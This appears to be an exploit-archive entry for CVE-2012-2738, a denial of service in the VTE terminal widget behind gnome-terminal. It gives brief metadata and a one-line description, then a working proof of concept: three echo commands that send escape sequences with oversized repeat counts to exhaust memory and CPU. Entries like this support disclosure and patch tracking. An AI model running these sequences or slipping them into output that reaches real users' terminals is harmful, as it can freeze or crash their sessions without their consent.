gnome-terminal (vte) VteTerminal - Escape Sequence Parsing Remote Denial of Service

Author: Kevin Fenzi
type: dos
platform: linux
port: 
date_added: 2012-07-03 
date_updated: 2015-07-04 
verified: 1 
codes: CVE-2012-2738;OSVDB-84337 
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source: https://www.securityfocus.com/bid/54281/info

VTE is prone to a vulnerability that may allow attackers to cause an affected application to consume excessive amounts of memory and CPU time, resulting in a denial-of-service condition.

echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647P"